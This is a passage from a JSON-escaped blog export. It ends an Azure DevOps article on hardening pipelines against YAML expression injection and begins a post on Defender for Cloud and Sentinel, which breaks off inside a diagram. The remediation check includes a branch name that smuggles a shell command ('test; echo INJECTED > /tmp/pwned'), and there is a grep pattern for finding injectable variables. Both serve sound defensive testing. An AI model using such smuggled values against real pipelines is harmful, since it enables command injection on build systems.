OS.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eVerify remediation:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCreate a local branch named \u003ccode\u003etest; echo INJECTED \u0026gt; /tmp/pwned\u003c/code\u003e and push it. Confirm the pipeline log shows the literal branch name in the output, not the word \u003ccode\u003eINJECTED\u003c/code\u003e, and no \u003ccode\u003e/tmp/pwned\u003c/code\u003e file is created.\u003c/li\u003e\n\u003cli\u003eAttempt to override \u003ccode\u003econtainerRegistry\u003c/code\u003e at queue time. Confirm the field is grayed out in the \u0026ldquo;Run pipeline\u0026rdquo; dialog.\u003c/li\u003e\n\u003cli\u003eSubmit a PR from a fork. Confirm the pipeline shows an approval prompt before the Docker task executes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDo:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eApply the \u003ccode\u003eenv:\u003c/code\u003e block pattern to every script step that needs a user-controlled or Git-sourced value — it is the single most impactful security change for most pipelines.\u003c/li\u003e\n\u003cli\u003eMark all service connections that access production systems as protected resources.\u003c/li\u003e\n\u003cli\u003eUse typed parameters with \u003ccode\u003evalues:\u003c/code\u003e allowlists for environment selectors.\u003c/li\u003e\n\u003cli\u003eLoad pipeline YAML from a protected branch for PR-triggered pipelines to prevent fork authors from modifying the pipeline logic.\u003c/li\u003e\n\u003cli\u003eAudit \u003ccode\u003evariables:\u003c/code\u003e blocks for any variable used in a \u003ccode\u003escript:\u003c/code\u003e field and add \u003ccode\u003ereadonly: true\u003c/code\u003e to those that should not be overridden at queue time.\u003c/li\u003e\n\u003cli\u003ePass \u003ccode\u003e$(System.AccessToken)\u003c/code\u003e via the \u003ccode\u003eenv:\u003c/code\u003e block as \u003ccode\u003eSYSTEM_TOKEN: $(System.AccessToken)\u003c/code\u003e — never expand it inline in a script command where it could be echoed to logs.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eEnable \u0026ldquo;Make secrets available to builds from forks\u0026rdquo; unless the pipeline runs in a completely isolated agent pool with no access to production systems.\u003c/li\u003e\n\u003cli\u003eRely on secret masking as your only security control — secrets are masked in Azure DevOps logs, but a compromised agent can exfiltrate them through outbound network calls, file writes, or side-channels that bypass the log output.\u003c/li\u003e\n\u003cli\u003eUse unconstrained \u003ccode\u003estring\u003c/code\u003e parameters in \u003ccode\u003escript:\u003c/code\u003e fields via \u003ccode\u003e${{ parameters.myParam }}\u003c/code\u003e inline in the command — compile-time parameters without \u003ccode\u003evalues:\u003c/code\u003e constraints are injectable if a caller can supply arbitrary input.\u003c/li\u003e\n\u003cli\u003eTrust \u003ccode\u003e$(Build.Repository.Name)\u003c/code\u003e or \u003ccode\u003e$(Build.RequestedFor)\u003c/code\u003e as safe inputs — they are org-controlled for internal repos but validate them the same way as any external input.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eAudit and detection:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eRun this query against your pipeline YAML files to find the most common injection patterns:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Find macro expansion of user-controlled variables in script fields\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egrep -rn \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\\$(Build\\.Source\\|System\\.PullRequest\\|Build\\.Requested\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --include\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;*.yml\u0026#34;\u003c/span\u003e ./ | grep -v \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;env:\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eEvery match where the variable is not inside an \u003ccode\u003eenv:\u003c/code\u003e block is a candidate for remediation.\u003c/p\u003e\n\u003cp\u003eUse Azure DevOps audit logs (\u003cstrong\u003eOrganization Settings\u003c/strong\u003e → \u003cstrong\u003eAuditing\u003c/strong\u003e) to monitor:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eService connection access events — which pipelines accessed which connections and when.\u003c/li\u003e\n\u003cli\u003ePipeline variable override events — queue-time overrides attempted or applied.\u003c/li\u003e\n\u003cli\u003eProtected resource approval events — who approved and who requested.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eCompliance:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eextends\u003c/code\u003e template enforcement combined with protected resources satisfies the \u0026ldquo;pipeline-as-code with mandatory review\u0026rdquo; control in SOC 2 Type II and ISO 27001 change management domains. The \u003ccode\u003evalues:\u003c/code\u003e allowlists for environment-selecting parameters function as the access control list for deployment targets — document them as part of the change management record.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 1: The \u003ccode\u003eenv:\u003c/code\u003e block fix broke a script that constructed a command from the variable\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The script used the variable value as part of the command string directly — for example, \u003ccode\u003edocker tag myimage:$(Build.BuildId)\u003c/code\u003e where the build ID was expected to be part of the command. Moving to \u003ccode\u003eenv:\u003c/code\u003e requires the script to read the environment variable and construct the command inside the script body.\u003c/p\u003e\n\u003cp\u003eSolution:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BEFORE (vulnerable):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker tag myimage:$(Build.BuildId) myimage:latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# AFTER (safe): construct the tag inside the script body\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker tag \u0026#34;myimage:$BUILD_ID\u0026#34; myimage:latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eBUILD_ID\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 2: \u003ccode\u003ereadonly: true\u003c/code\u003e on a YAML variable is still being overridden by a variable group\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: \u003ccode\u003ereadonly: true\u003c/code\u003e prevents queue-time UI overrides and \u003ccode\u003e##vso[task.setvariable]\u003c/code\u003e logging commands from changing the variable. It does not block a variable group linked to the pipeline from supplying a value for the same variable name. Variable group values are applied before \u003ccode\u003ereadonly\u003c/code\u003e is evaluated.\u003c/p\u003e\n\u003cp\u003eSolution: Remove the variable from the variable group, or rename the variable group\u0026rsquo;s version. Control variable group access through the group\u0026rsquo;s permissions settings (\u003cstrong\u003ePipelines\u003c/strong\u003e → \u003cstrong\u003eLibrary\u003c/strong\u003e → variable group → \u003cstrong\u003eSecurity\u003c/strong\u003e) — restrict which pipelines can link to the group.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 3: Fork PR pipelines still access the protected service connection without an approval prompt\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The pipeline was run before the \u0026ldquo;protected resource\u0026rdquo; setting was saved, or the service connection was not saved after the protection flag was applied. Azure DevOps caches pipeline resource authorization — an existing run may not pick up the new protection flag.\u003c/p\u003e\n\u003cp\u003eSolution: Re-open \u003cstrong\u003eProject Settings\u003c/strong\u003e → \u003cstrong\u003eService Connections\u003c/strong\u003e → \u003cstrong\u003eSecurity\u003c/strong\u003e, confirm the protected resource toggle is enabled, and save. Trigger a completely new run (not a retry of an existing run) from a fork PR. The approval prompt appears for new runs only.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 4: A \u003ccode\u003evalues:\u003c/code\u003e constraint blocks a legitimate automation script that sets a non-standard environment name\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The automation script passes a dynamically computed environment string that does not match the allowlist. The \u003ccode\u003evalues:\u003c/code\u003e constraint correctly rejects it — but the automation is a legitimate use case.\u003c/p\u003e\n\u003cp\u003eSolution: Add the automation\u0026rsquo;s environment values to the \u003ccode\u003evalues:\u003c/code\u003e list. If the automation needs fully arbitrary values, create a separate parameter without a \u003ccode\u003evalues:\u003c/code\u003e constraint and route it through a dedicated pipeline that has more restricted trigger settings (e.g., restricted to specific service accounts, not available to PR triggers).\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 5: A pipeline decorator is injecting into pipelines it should not affect\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Pipeline decorators apply to every pipeline run in the organization by default. The decorator manifest has no built-in scope restriction per project or per agent pool.\u003c/p\u003e\n\u003cp\u003eSolution: Add a condition in the injected step that checks \u003ccode\u003e$(System.TeamProject)\u003c/code\u003e or \u003ccode\u003e$(Build.Repository.Name)\u003c/code\u003e and exits early for out-of-scope pipelines:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Decorator step with early-exit condition for out-of-scope projects\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      if [ \u0026#34;$TEAM_PROJECT\u0026#34; != \u0026#34;Production\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$TEAM_PROJECT\u0026#34; != \u0026#34;Platform\u0026#34; ]; then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Decorator: not applicable to project $TEAM_PROJECT — skipping\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        exit 0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      fi\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      # Run the actual scan\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      ./security-scan.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;[Decorator] Security scan\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eTEAM_PROJECT\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(System.TeamProject)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAlternatively, use the \u003ccode\u003etarget:\u003c/code\u003e configuration in the decorator\u0026rsquo;s \u003ccode\u003evss-extension.json\u003c/code\u003e to restrict injection to specific pipeline definitions by ID.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe primary injection vector is macro expansion: \u003ccode\u003e$(varName)\u003c/code\u003e substitutes the value as a raw string into the command before shell parsing. Moving any user-controlled or Git-sourced value from the command string into the \u003ccode\u003eenv:\u003c/code\u003e block eliminates this injection class entirely.\u003c/li\u003e\n\u003cli\u003eQueue-time variable overrides are an injection vector for any variable used in a script. Lock production-influencing variables with \u003ccode\u003ereadonly: true\u003c/code\u003e, and replace unconstrained string inputs with typed parameters that have \u003ccode\u003evalues:\u003c/code\u003e allowlists.\u003c/li\u003e\n\u003cli\u003eFork PR pipelines are the highest-risk trigger context. Mark all service connections for production resources as protected, and configure the pipeline to load YAML from a protected branch — never from the fork.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eextends\u003c/code\u003e templates are the strongest pipeline-level control: they make a security baseline mandatory and unskippable for all pipelines that use them. Combined with a \u0026ldquo;Required pipeline template\u0026rdquo; policy, no pipeline in the organization can run without the baseline.\u003c/li\u003e\n\u003cli\u003eSecret masking is not a security control. Secrets masked in logs are still present in environment memory and accessible to any code running in the agent process. The real control is restricting which pipelines can access secrets via protected resources and mandatory approval gates.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eGrep all \u003ccode\u003escript:\u003c/code\u003e and \u003ccode\u003ebash:\u003c/code\u003e steps for \u003ccode\u003e$(Build.Source\u003c/code\u003e, \u003ccode\u003e$(System.PullRequest\u003c/code\u003e, and \u003ccode\u003e$(Build.RequestedFor\u003c/code\u003e — every match outside an \u003ccode\u003eenv:\u003c/code\u003e block is a candidate for the fix described in Section 2.\u003c/li\u003e\n\u003cli\u003eMark your three highest-privilege service connections (production registry, production environment, key vault) as protected resources — this single change prevents the most damaging fork PR attacks.\u003c/li\u003e\n\u003cli\u003eReview the \u003ccode\u003evariables:\u003c/code\u003e block in every pipeline that runs on PR triggers and add \u003ccode\u003ereadonly: true\u003c/code\u003e to any variable that selects a deployment target, registry, or environment name.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/security/overview\"\u003ePipeline security overview — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/security/repos\"\u003eRepository protection — fork builds — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/security/resources\"\u003eProtected resources in pipelines — Azure DevOps\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eExpressions — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://securitylab.github.com/research/github-actions-untrusted-input/\"\u003eGitHub Security Lab: Untrusted input in GitHub Actions (CI/CD injection mechanics)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A dark, high-security server vault door with a glowing blue digital lock. Through a glass window, we see a rack of servers glowing with red \"threat\" alerts. A single beam of light illuminates a keyboard in the foreground, representing the entry point of an attack. Cinematic lighting, high contrast. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of a glowing digital shield made of translucent glass hexagons. A jagged, dark \"injection\" spike is attempting to pierce the shield but is being deflected and transformed into harmless, small blue squares. Minimalist white background. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** Clean flat vector illustration of a \"walled garden\" concept. A central node representing the pipeline agent is surrounded by several concentric, thick rings of different shades of blue. Outside the rings, scattered red and purple \"X\" symbols represent rejected malicious inputs. Simple, professional, and secure. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** High-contrast image of a data conduit with a \"trap\" or \"filter\" section. Malicious, glowing orange data streams enter the filter and emerge as clean, steady blue streams on the other side. The background is a dark, futuristic industrial setting. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D matte blocks representing a pipeline. A glowing translucent dome covers the most sensitive part of the process, protecting it from floating red shards outside. Soft, diffused lighting and a professional tech color palette. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of an integrated circuit with a focus on the protective coating (passivation layer). The light reflects off the microscopic ridges of the coating, symbolizing a \"hardened\" surface. High detail, technical, and protective vibe. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"How attackers exploit Azure DevOps YAML expressions to inject commands — and the typed parameters, env-block patterns, and extends templates that stop them.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/expression-security-hardening/","title":"Expression Security: Preventing Azure DevOps YAML Injection"},{"content":"\u003cp\u003eA landing zone without a security baseline is a liability. Pristine management group hierarchies and beautifully scoped RBAC models are ineffective if no system monitors for threats or misconfiguration drift. Your infrastructure is effectively unobserved.\u003c/p\u003e\n\u003cp\u003eIn an enterprise environment, two services perform the bulk of the security work: \u003cstrong\u003eMicrosoft Defender for Cloud\u003c/strong\u003e manages posture and workload protection, and \u003cstrong\u003eMicrosoft Sentinel\u003c/strong\u003e ingests telemetry to orchestrate response. This guide deploys both as code, establishes automated enrollment via policy, and configures the baseline alerting required for a modern SecOps team.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAssign Defender for Cloud plans to a management group hierarchy via Azure Policy.\u003c/li\u003e\n\u003cli\u003eDeploy Microsoft Sentinel on a centralized Log Analytics Workspace.\u003c/li\u003e\n\u003cli\u003eAutomate data connectors using the Codeless Connector Framework standard.\u003c/li\u003e\n\u003cli\u003eConfigure Secure Score auditing and automated incident response.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 7 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"microsoft-defender-for-cloud-the-cspm-layer\"\u003eMicrosoft Defender for Cloud: The CSPM Layer\u003c/h2\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 496 697\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 464,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,48 L 328,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,64 L 448,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,80 L 216,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,80 L 248,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,80 L 328,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,112 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,112 L 344,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,144 L 152,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,144 L 376,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 120,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,176 L 152,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,176 L 344,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,176 L 376,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,192 L 112,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,192 L 336,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,192 L 448,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,272 L 120,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,272 L 344,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,272 L 472,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,320 L 384,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,352 L 248,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,352 L 384,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,416 L 384,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,448 L 248,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,448 L 384,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,512 L 384,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,544 L 384,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,560 L 472,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,640 L 248,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,640 L 408,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,672 L 424,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,272 L 32,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,144 L 88,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,176 L 120,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,256 L 120,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,320 L 120,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,416 L 120,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,512 L 120,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,640 L 128,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,144 L 152,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,48 L 184,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,80 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,80 L 248,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,352 L 248,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,448 L 248,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,576 L 248,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,144 L 312,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,48 L 328,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,176 L 344,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,256 L 344,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,144 L 376,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,320 L 384,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,416 L 384,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,512 L 384,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,656 L 424,672' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,64 L 448,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,32 L 472,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,272 L 472,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 356,600 L 364,584' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,128 L 120,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='136.000000,128.000000 124.000000,122.400002 124.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 120.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 120,256 L 120,264' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='136.000000,256.000000 124.000000,250.399994 124.000000,261.600006' fill='currentColor' transform='rotate(90.000000, 120.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 248,400 L 248,408' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='264.000000,400.000000 252.000000,394.399994 252.000000,405.600006' fill='currentColor' transform='rotate(90.000000, 248.000000, 400.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 248,496 L 248,504' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='264.000000,496.000000 252.000000,490.399994 252.000000,501.600006' fill='currentColor' transform='rotate(90.000000, 248.000000, 496.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 248,568 L 248,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='264.000000,576.000000 252.000000,570.400024 252.000000,581.599976' fill='currentColor' transform='rotate(270.000000, 248.000000, 576.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='344.000000,64.000000 332.000000,58.400002 332.000000,69.599998' fill='currentColor' transform='rotate(180.000000, 336.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 344,128 L 344,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='360.000000,128.000000 348.000000,122.400002 348.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 344.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 344,256 L 344,264' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='360.000000,256.000000 